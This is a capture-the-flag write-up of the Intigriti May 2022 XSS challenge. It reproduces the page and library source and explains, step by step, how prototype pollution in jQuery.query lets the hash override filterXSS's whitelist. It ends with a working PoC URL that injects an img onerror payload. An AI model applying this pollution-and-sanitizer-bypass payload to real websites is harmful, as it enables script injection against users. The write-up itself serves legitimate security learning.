Edit: Actually I Came to Know that, there are already Public PoCs Available to Solve this Challenge, After Others Posting Solutions. I am Happy Bcoz I was Able to Solve this Chal without Googling for the known PoCs 🙂 [cringe🙂 but ok!]
Intigriti XSS Chal Writeup - May 2022
Website:

Pollution is consuming ….
Code Analysis:
<!DOCTYPE html>
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js"></script>
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script>
/**
* jQuery.query - Query String Modification and Creation for jQuery
* Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com)
* Licensed under the WTFPL (http://sam.zoy.org/wtfpl/).
* Date: 2009/8/13
*
* @author Blair Mitchelmore
* @version 2.2.3
*
**/
new function(settings) {
// Various Settings
var $separator = settings.separator || '&';
var $spaces = settings.spaces === false ? false : true;
var $suffix = settings.suffix === false ? '' : '[]';
var $prefix = settings.prefix === false ? false : true;
var $hash = $prefix ? settings.hash === true ? "#" : "?" : "";
var $numbers = settings.numbers === false ? false : true;
jQuery.query = new function() {
var is = function(o, t) {
return o != undefined && o !== null && (!!t ? o.constructor == t : true);
};
var parse = function(path) {
var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
while (m = rx.exec(match[2])) tokens.push(m[1]);
return [base, tokens];
};
var set = function(target, tokens, value) {
var o, token = tokens.shift();
if (typeof target != 'object') target = null;
if (token === "") {
if (!target) target = [];
if (is(target, Array)) {
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
} else if (is(target, Object)) {
var i = 0;
while (target[i++] != null);
target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
} else {
target = [];
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
}
} else if (token && token.match(/^\s*[0-9]+\s*$/)) {
var index = parseInt(token, 10);
if (!target) target = [];
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else if (token) {
var index = token.replace(/^\s*|\s*$/g, "");
if (!target) target = {};
if (is(target, Array)) {
var temp = {};
for (var i = 0; i < target.length; ++i) {
temp[i] = target[i];
}
target = temp;
}
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else {
return value;
}
return target;
};
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
queryObject.prototype = {
queryObject: true,
parseNew: function(){
var self = this;
self.keys = {};
jQuery.each(arguments, function() {
var q = "" + this;
q = q.replace(/^[?#]/,''); // remove any leading ? || #
q = q.replace(/[;&]$/,''); // remove any trailing & || ;
if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
jQuery.each(q.split(/[&;]/), function(){
var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");
if (!key) return;
if ($numbers) {
if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
val = parseFloat(val);
else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
val = parseInt(val, 10);
}
val = (!val && val !== 0) ? true : val;
self.SET(key, val);
});
});
return self;
},
has: function(key, type) {
var value = this.get(key);
return is(value, type);
},
GET: function(key) {
if (!is(key)) return this.keys;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
while (target != null && tokens.length != 0) {
target = target[tokens.shift()];
}
return typeof target == 'number' ? target : target || "";
},
get: function(key) {
var target = this.GET(key);
if (is(target, Object))
return jQuery.extend(true, {}, target);
else if (is(target, Array))
return target.slice(0);
return target;
},
SET: function(key, val) {
var value = !is(val) ? null : val;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
this.keys[base] = set(target, tokens.slice(0), value);
return this;
},
set: function(key, val) {
return this.copy().SET(key, val);
},
REMOVE: function(key, val) {
if (val) {
var target = this.GET(key);
if (is(target, Array)) {
for (tval in target) {
target[tval] = target[tval].toString();
}
var index = $.inArray(val, target);
if (index >= 0) {
key = target.splice(index, 1);
key = key[index];
} else {
return;
}
} else if (val != target) {
return;
}
}
return this.SET(key, null).COMPACT();
},
remove: function(key, val) {
return this.copy().REMOVE(key, val);
},
EMPTY: function() {
var self = this;
jQuery.each(self.keys, function(key, value) {
delete self.keys[key];
});
return self;
},
load: function(url) {
var hash = url.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
var search = url.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
return new queryObject(url.length == search.length ? '' : search, url.length == hash.length ? '' : hash);
},
empty: function() {
return this.copy().EMPTY();
},
copy: function() {
return new queryObject(this);
},
COMPACT: function() {
function build(orig) {
var obj = typeof orig == "object" ? is(orig, Array) ? [] : {} : orig;
if (typeof orig == 'object') {
function add(o, key, value) {
if (is(o, Array))
o.push(value);
else
o[key] = value;
}
jQuery.each(orig, function(key, value) {
if (!is(value)) return true;
add(obj, key, build(value));
});
}
return obj;
}
this.keys = build(this.keys);
return this;
},
compact: function() {
return this.copy().COMPACT();
},
toString: function() {
var i = 0, queryString = [], chunks = [], self = this;
var encode = function(str) {
str = str + "";
str = encodeURIComponent(str);
if ($spaces) str = str.replace(/%20/g, "+");
return str;
};
var addFields = function(arr, key, value) {
if (!is(value) || value === false) return;
var o = [encode(key)];
if (value !== true) {
o.push("=");
o.push(encode(value));
}
arr.push(o.join(""));
};
var build = function(obj, base) {
var newKey = function(key) {
return !base || base == "" ? [key].join("") : [base, "[", key, "]"].join("");
};
jQuery.each(obj, function(key, value) {
if (typeof value == 'object')
build(value, newKey(key));
else
addFields(chunks, newKey(key), value);
});
};
build(this.keys);
if (chunks.length > 0) queryString.push($hash);
queryString.push(chunks.join($separator));
return queryString.join("");
}
};
return new queryObject(location.search, location.hash);
};
}(jQuery.query || {}); // Pass in jQuery.query as settings object
</script>
<style>
// Boring CSS
</style>
</head>
<body>
<h1 id="root"></h1>
<script>
var pages = {
1: `HOME
<h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,
2: `PRODUCTS
<br>
<footer>
<img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>
</footer>`,
3: `CONTACT
<br><br>
<b>
<a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>
<a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>
<a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>
<a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>
</b>
`,
4: `
<div class="dropdown">
<div id="myDropdown" class="dropdown-content">
<a href = "?page=1">Home</a>
<a href = "?page=2">Products</a>
<a href = "?page=3">Contact</a>
</div>
</div>`
};
var pl = $.query.get('page');
if(pages[pl] != undefined){
console.log(pages);
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
}else{
document.location.search = "?page=1"
}
</script>
</body>
</html>
Too Much Code, Lets Walk through the Code 🙂
External Scripts
https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js
https://code.jquery.com/jquery-3.5.1.js
//cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js is the Support Code for this Challenge. Beautified Version of this code can be Found in //cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.js
//code.jquery.com/jquery-3.5.1.js is Jquery Lib Code.
Source Code:
This Page Required a GET Parameter page. like ?page=1
var pl = $.query.get('page');
if(pages[pl] != undefined){
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
}
else{
document.location.search = "?page=1"
}
What is pages? Pages is a Javascript Object, If the GET parameter page is 1, then the Above Code will innerHTML <h5>Pollution is cons...</h5>.
According to our input (?page=<input>), the Bellow data will be innerHTMLed into the page with Respect to Pages Object which have only 4 Options.
var pages = {
1: `HOME
<h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,
2: `PRODUCTS
<br>
<footer>
<img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>
</footer>`,
3: `CONTACT
<br><br>
<b>
<a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>
<a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>
<a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>
<a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>
</b>
`,
4: `
<div class="dropdown">
<div id="myDropdown" class="dropdown-content">
<a href = "?page=1">Home</a>
<a href = "?page=2">Products</a>
<a href = "?page=3">Contact</a>
</div>
</div>`
};
Source and Sink:
Source: ?page=<source>, We can Pass any value here, But there is a If Condition, that Checks if the userinput is not undefined or return something when passed to pages Object.
Sink: innerHTML, If our Input is passed the If condition, Our Input is Filtered and Passed Into innerHTML.
var pl = $.query.get('page');
if(pages[pl] != undefined){
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
}
else{
document.location.search = "?page=1"
}

How $.query.get(‘page’) Works?
new function(settings) {
// Various Settings
var $separator = settings.separator || '&';
var $spaces = settings.spaces === false ? false : true;
var $suffix = settings.suffix === false ? '' : '[]';
var $prefix = settings.prefix === false ? false : true;
var $hash = $prefix ? settings.hash === true ? "#" : "?" : "";
var $numbers = settings.numbers === false ? false : true;
jQuery.query = new function() {
var is = function(o, t) {
return o != undefined && o !== null && (!!t ? o.constructor == t : true);
};
var parse = function(path) {
var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
while (m = rx.exec(match[2])) tokens.push(m[1]);
return [base, tokens];
};
var set = function(target, tokens, value) {
var o, token = tokens.shift();
if (typeof target != 'object') target = null;
if (token === "") {
if (!target) target = [];
if (is(target, Array)) {
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
} else if (is(target, Object)) {
var i = 0;
while (target[i++] != null);
target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
} else {
target = [];
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
}
} else if (token && token.match(/^\s*[0-9]+\s*$/)) {
var index = parseInt(token, 10);
if (!target) target = [];
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else if (token) {
var index = token.replace(/^\s*|\s*$/g, "");
if (!target) target = {};
if (is(target, Array)) {
var temp = {};
for (var i = 0; i < target.length; ++i) {
temp[i] = target[i];
}
target = temp;
}
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else {
return value;
}
return target;
};
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
queryObject.prototype = {
queryObject: true,
parseNew: function(){
var self = this;
self.keys = {};
jQuery.each(arguments, function() {
var q = "" + this;
q = q.replace(/^[?#]/,''); // remove any leading ? || #
q = q.replace(/[;&]$/,''); // remove any trailing & || ;
if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
jQuery.each(q.split(/[&;]/), function(){
var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");
if (!key) return;
if ($numbers) {
if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
val = parseFloat(val);
else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
val = parseInt(val, 10);
}
val = (!val && val !== 0) ? true : val;
self.SET(key, val);
});
});
return self;
},
has: function(key, type) {
var value = this.get(key);
return is(value, type);
},
GET: function(key) {
if (!is(key)) return this.keys;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
while (target != null && tokens.length != 0) {
target = target[tokens.shift()];
}
return typeof target == 'number' ? target : target || "";
},
get: function(key) {
var target = this.GET(key);
if (is(target, Object))
return jQuery.extend(true, {}, target);
else if (is(target, Array))
return target.slice(0);
return target;
},
SET: function(key, val) {
var value = !is(val) ? null : val;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
this.keys[base] = set(target, tokens.slice(0), value);
return this;
},
set: function(key, val) {
return this.copy().SET(key, val);
},
REMOVE: function(key, val) {
if (val) {
var target = this.GET(key);
if (is(target, Array)) {
for (tval in target) {
target[tval] = target[tval].toString();
}
var index = $.inArray(val, target);
if (index >= 0) {
key = target.splice(index, 1);
key = key[index];
} else {
return;
}
} else if (val != target) {
return;
}
}
return this.SET(key, null).COMPACT();
},
remove: function(key, val) {
return this.copy().REMOVE(key, val);
},
EMPTY: function() {
var self = this;
jQuery.each(self.keys, function(key, value) {
delete self.keys[key];
});
return self;
},
load: function(url) {
var hash = url.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
var search = url.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
return new queryObject(url.length == search.length ? '' : search, url.length == hash.length ? '' : hash);
},
empty: function() {
return this.copy().EMPTY();
},
copy: function() {
return new queryObject(this);
},
COMPACT: function() {
function build(orig) {
var obj = typeof orig == "object" ? is(orig, Array) ? [] : {} : orig;
if (typeof orig == 'object') {
function add(o, key, value) {
if (is(o, Array))
o.push(value);
else
o[key] = value;
}
jQuery.each(orig, function(key, value) {
if (!is(value)) return true;
add(obj, key, build(value));
});
}
return obj;
}
this.keys = build(this.keys);
return this;
},
compact: function() {
return this.copy().COMPACT();
},
toString: function() {
var i = 0, queryString = [], chunks = [], self = this;
var encode = function(str) {
str = str + "";
str = encodeURIComponent(str);
if ($spaces) str = str.replace(/%20/g, "+");
return str;
};
var addFields = function(arr, key, value) {
if (!is(value) || value === false) return;
var o = [encode(key)];
if (value !== true) {
o.push("=");
o.push(encode(value));
}
arr.push(o.join(""));
};
var build = function(obj, base) {
var newKey = function(key) {
return !base || base == "" ? [key].join("") : [base, "[", key, "]"].join("");
};
jQuery.each(obj, function(key, value) {
if (typeof value == 'object')
build(value, newKey(key));
else
addFields(chunks, newKey(key), value);
});
};
build(this.keys);
if (chunks.length > 0) queryString.push($hash);
queryString.push(chunks.join($separator));
return queryString.join("");
}
};
return new queryObject(location.search, location.hash); // Interesting Part Bro :)
};
}(jQuery.query || {}); // Pass in jQuery.query as settings object
Uff, Again Too Much Code, Lets Walk Through 🙂
Basic Structure
new function(){
...
...
jQuery.query = new function(){
var is = function() {
...
};
var parse = function() {
...
};
var set = function(){
...
...
...
};
var queryObject = function(){
...
...
};
queryObject.prototype = {
queryObject: true,
parseNew: function(){
...
...
...
};
has: function(){
...
},
GET: function(){
...
},
get: function(){
...
},
SET: function(){
...
},
set: function(){
...
},
REMOVE: function(){
...
},
remove: function(){
...
},
load: function(){
...
},
empty: function(){
...
},
copy: function(){
...
},
COMPACT: function(){
...
},
compact: function(){
...
},
toString: function(){
...
...
...
},
};
return new queryObject(location.search, location.hash) // Interesting Part :)
}(jQuery.query || {});
Ok Wait, Don’t get Scared. Most of the Code is Unwanted or not used as sink for this Challenge.
We Already Know, We can Give Control ?page=<value>.
return new queryObject(location.search, location.hash). This Part is the Most Interesting Part of the Code.
What is queryObject? queryObject is a Constructor Function. Constructor Function automatically Returns the Object, We don’t need to Manually write return Statement.
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
we need to pass one parameter as argument. to queryObject function.
If the Function using this Keyword, Then the Function is Called Constructor Function. Here, this is mapped to self. self == this
When queryObject Function is Called, location.search and location.hash are Concatenated as Single String and passed to queryObject function.
location.search will return the GET parameters. like http://abc.xss?page=2 -> location.search will return -> ?page=2.
location.hash will return strings after fragment part (#). like http://abc.xss?search=20#123 -> location.hash->will return #123

We Can Put Anything after # which is passed as argument to queryObject, and also which this Does’t Break the IF statement [if pages(pl) != undefined{…}]
Now Our Potential Source is location.hash.
—
Let’s Dig Into This 🙂
I Copied the Full Code and made a Local Setup for Debugging.
$.query.get
$.query.get required one parameter, where the GET param page is passed.
return jQuery.extend(true, {}, target); . Basically jQuery.extend will do a merge Operation. In Past, jQuery.extend was vulnerable to Prototype Pollution. Not now 🙁
get: function(key) {
var target = this.GET(key);
if (is(target, Object))
return jQuery.extend(true, {}, target);
else if (is(target, Array))
return target.slice(0);
return target;
},
this.GET(key)? is(target, Object)?
—
Lets see how is function works
var is = function(o, t) {
return o != undefined && o !== null && (!!t ? o.constructor == t : true);
};
we need to pass 2 parameters as arguments to is function.
Basically is function Returns boolean values.
The Purpose if is function is to Check the Datatype of first passed argument.
So If, is([],Array) will return true.

—
- Let see How
this.GET(key) works
GET: function(key) {
if (!is(key)) return this.keys;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
while (target != null && tokens.length != 0) {
target = target[tokens.shift()];
}
return typeof target == 'number' ? target : target || "";
}
parse(key)?
—
- Lets see How
parse function works
var parse = function(path) {
var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path),base = match[1], tokens = [];
while (m = rx.exec(match[2])) tokens.push(m[1]);
return [base, tokens];
};
- This parse Function Required one parameter as argument.
- Some Weird Regex Matching Stuffs Uff.
rx:

- In Simple Words, Match all Characters inside
[].
match = /^([^[]+)(\[.*\])?$/.exec(path). Lets Look at the this Regex,
match:

- This
match regex looks for array or Object Based path. like ?lol=a[b]=[c].
- This parse function will return 2 values.

—
- Let again see How
this.GET(key)
GET: function(key) {
if (!is(key)) return this.keys;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
while (target != null && tokens.length != 0) {
target = target[tokens.shift()];
}
return typeof target == 'number' ? target : target || "";
}
- In
is function, If we only passed one argument, it always return true. Bcoz of this Condition ... o.constructor == t : true

parsed = parse(key) Will return 2 values, base = parsed[0], tokens = parsed[1]. 1st Return value is stored in base and 2nd in tokens. tokens Data type is Array, We already Saw that.
var target = this.keys[base];. this.keys?
- We already Looked into
queryObject..
var queryObject = function(a) {
var self = this;
self.keys = {};
...
...
};
- Ya, this.keys is a Object,
this.keys[base] should return something, if it does’t, then the while Loop condition will be set to False.
- Lets Again Look into
queryObject function.
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
- The IF Condition will run if
a.queryObject return something. a is user passed argument, location.search,location.hash.
- ELSE,
parseNew function will be Executed.
- Lets look into
SET(key, val) and parseNew.
SET(key, val):
- required 2 arguments from user,
key and val.
- we already aware of
parse() and set()?
SET: function(key, val) {
var value = !is(val) ? null : val;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
this.keys[base] = set(target, tokens.slice(0), value);
return this;
- Lets Look Into
set function.
var set = function(target, tokens, value) {
var o, token = tokens.shift();
if (typeof target != 'object') target = null;
if (token === "") {
if (!target) target = [];
if (is(target, Array)) {
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
} else if (is(target, Object)) {
var i = 0;
while (target[i++] != null);
target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
} else {
target = [];
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
}
} else if (token && token.match(/^\s*[0-9]+\s*$/)) {
var index = parseInt(token, 10);
if (!target) target = [];
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else if (token) {
var index = token.replace(/^\s*|\s*$/g, "");
if (!target) target = {};
if (is(target, Array)) {
var temp = {};
for (var i = 0; i < target.length; ++i) {
temp[i] = target[i];
}
target = temp;
}
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else {
return value;
}
return target;
};
- Yep, It’s Big Code. Let me Explain this in Simple Words.
tokens.shift(); Basically Shift function will return only one element one by one.

- This
set function required 3 arguments. target, tokens and value
typeof keyword will return the data type. In the First IF condition, if the datatype of the target is not Object, then target is set to null
- And Other IF ELSE conditions check the datatype of
target with is function and calling set.
- So, According to the datatype of the
target, this set function performs a merge operation. merge Ya, Prototype Pollution…
—
- Once Again Lets Look into
queryObject function.
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
- So, if
a.queryObject return something, then self.SET will be called. self mapped this. self == this
- Else,
self.parsedNew will be called.
- The
apply() method is similar to the call() method

- Let’s Look into
parsedNew.
parseNew: function(){
var self = this;
self.keys = {};
jQuery.each(arguments, function() {
var q = "" + this;
q = q.replace(/^[?#]/,''); // remove any leading ? || #
q = q.replace(/[;&]$/,''); // remove any trailing & || ;
if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
jQuery.each(q.split(/[&;]/), function(){
var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");
if (!key) return;
if ($numbers) {
if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
val = parseFloat(val);
else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
val = parseInt(val, 10);
}
val = (!val && val !== 0) ? true : val;
self.SET(key, val);
});
});
return self;
}
- In
jQuery.each loop,
var q = "" + this;
q = q.replace(/^[?#]/,''); // remove any leading ? || #
q = q.replace(/[;&]$/,''); // remove any trailing & || ;
if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
jQuery.each(q.split(/[&;]/), function(){
...
...
});
- Replacing
?,#,&,|| with '', and Converting + to ' '. [url-decoding]
- Lets Look into Nested
jQuery.each - jQuery.each(q.split(/[&;]/)
var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");
if (!key) return;
if ($numbers) {
if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
val = parseFloat(val);
else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
val = parseInt(val, 10);
}
val = (!val && val !== 0) ? true : val;
self.SET(key, val);
Note: decodeURIComponent(this.split('=')[0] || ""); - decodeURIComponent will be called after the spliting. By URL-encoding the =, We can Bypass this split function. This will be useful at end.
split keyword is used to split a string according to a condition and return as a list. like var a = 'a&c'; -> a.split('&') -> [a,c]
- Before passing to
SET, value of val is checked if the datatype is int or float. After the Check, SET is called with key and val as arguments.
Exploit IDEA:
- Pollution the Object Prototype to Add a new Key-Value Pair.
- Bypassing
filterXSS function with prototype Pollution. [will Explain in that part]

Exploitation:
- I already Told about the
source. (return new queryObject(location.search, location.hash))
- url :
http://localhost/index.html?page=2#a[__proto__][abcd]=xss

- Upon changing the from
page=2#payload -> page=abcd#a[__proto__][abcd]=xss

- Yep, We Completed 50%.
- Our Input is Not directly Passed into InnerHTML.
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
- Our Input is passed Filtered with
filterXSS function.
- This
filterXSS function comes from https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.js
- There are 1000’s of lines of Code. So, I searched for this
filterXSS Function.
- Here is the Function I got.
function filterXSS (html, options) {
var xss = new FilterXSS(options);
return xss.process(html);
}
- We can Pass 2 arguments, but here
filterXSS(pages[pl]), Only 1 argument is passed.
- We can’t Bypass this Function as Simple. Bcoz there are lot’s for check Going Behind this. Bypassing
filterXSS to get XSS is not intended Solution 🙂
process()?
- Upon Searching for
process in https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.js
- I got the
process function. But the Points is, this process function is not directly declared. process function is Injected into the Object PROTOTYPE.
FilterXSS.prototype.process = function (html) {
// 兼容各种奇葩输入
html = html || '';
html = html.toString();
if (!html) return '';
var me = this;
var options = me.options;
var whiteList = options.whiteList;
var onTag = options.onTag;
var onIgnoreTag = options.onIgnoreTag;
var onTagAttr = options.onTagAttr;
var onIgnoreTagAttr = options.onIgnoreTagAttr;
var safeAttrValue = options.safeAttrValue;
var escapeHtml = options.escapeHtml;
var cssFilter = me.cssFilter;
// 是否清除不可见字符
if (options.stripBlankChar) {
html = DEFAULT.stripBlankChar(html);
}
// 是否禁止备注标签
if (!options.allowCommentTag) {
html = DEFAULT.stripCommentTag(html);
}
// 如果开启了stripIgnoreTagBody
var stripIgnoreTagBody = false;
if (options.stripIgnoreTagBody) {
var stripIgnoreTagBody = DEFAULT.StripTagBody(options.stripIgnoreTagBody, onIgnoreTag);
onIgnoreTag = stripIgnoreTagBody.onIgnoreTag;
}
var retHtml = parseTag(html, function (sourcePosition, position, tag, html, isClosing) {
var info = {
sourcePosition: sourcePosition,
position: position,
isClosing: isClosing,
isWhite: (tag in whiteList)
};
// 调用onTag处理
var ret = onTag(tag, html, info);
if (!isNull(ret)) return ret;
// 默认标签处理方法
if (info.isWhite) {
// 白名单标签,解析标签属性
// 如果是闭合标签,则不需要解析属性
if (info.isClosing) {
return '</' + tag + '>';
}
var attrs = getAttrs(html);
var whiteAttrList = whiteList[tag];
var attrsHtml = parseAttr(attrs.html, function (name, value) {
// 调用onTagAttr处理
var isWhiteAttr = (_.indexOf(whiteAttrList, name) !== -1);
var ret = onTagAttr(tag, name, value, isWhiteAttr);
if (!isNull(ret)) return ret;
// 默认的属性处理方法
if (isWhiteAttr) {
// 白名单属性,调用safeAttrValue过滤属性值
value = safeAttrValue(tag, name, value, cssFilter);
if (value) {
return name + '="' + value + '"';
} else {
return name;
}
} else {
// 非白名单属性,调用onIgnoreTagAttr处理
var ret = onIgnoreTagAttr(tag, name, value, isWhiteAttr);
if (!isNull(ret)) return ret;
return;
}
});
// 构造新的标签代码
var html = '<' + tag;
if (attrsHtml) html += ' ' + attrsHtml;
if (attrs.closing) html += ' /';
html += '>';
return html;
} else {
// 非白名单标签,调用onIgnoreTag处理
var ret = onIgnoreTag(tag, html, info);
if (!isNull(ret)) return ret;
return escapeHtml(html);
}
}, escapeHtml);
// 如果开启了stripIgnoreTagBody,需要对结果再进行处理
if (stripIgnoreTagBody) {
retHtml = stripIgnoreTagBody.remove(retHtml);
}
return retHtml;
};
- This is a Huge Function with lots of Stuffs. btw, we Don’t Need to Look into this. Bcoz, We already Have Prototype Pollution. We can Write or Overwrite key-values into
Object Prototype.
In order to Bypass this function, We are Going to Overwrite the process to make that Weaker to allow our payload 🙂
—
Debug:
- To Understand, What to Overwrite, I came back to Localsetup
- I added a
Console.log on process function to Look into it.

- Upon Reloading the Page
url: http://localhost?page=abcd#a[__proto__][abcd]=xss

- You can See, Our Input is present in the Object Prototype.
abcd:"xss".
- It is Possible to Overwrite the key-values inside the
Object Prototype, Bcz The Our Input is Parsed Second, Before our input is parsed, the Values are Assigned. Bcz of this, We can Overwrite the Filters Present in Object Prototype.
- Upload Looking at the Code, I found that, The
filterXSS function depends in the Object whiteList which has only Limited no. of Allowed Tags and attributes.

- For example,
a tag is allowed and href, title, target are the allowed attributes. After Searching for Script gadgets here, there is no Script Gadgets, So we Can’t Get XSS by bypassing this filtetXSS unless if we have mXSS. ig so 🙂
Overwriting WhiteList :
- Overwriting
whitelist …
url: http://localhost:8000/?page=1#a[__proto__][whiteList]=xss

- You can see, We Successfully Overwritten the
whiteList.
- In Order to Make it Work, we need to Inject
key-value pairs. key as HTML-Tag and value as attributes.
url : a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain) - [url-encoded]

Final PoC
- Now We Have
filterXSS bypass, and can inject our Own Value.
- Injection our payload into
Object Prototype -> Prototype Pollution to Overwrite filterXSS function, so Our Payload will not be Filtered.
PoC: https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain)
urlDecoded: https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=<img src=x onerror=alert(document.domain)>&a[__proto__][whiteList][img]=src=x onerror=alert(document.domain)

Final Thoughts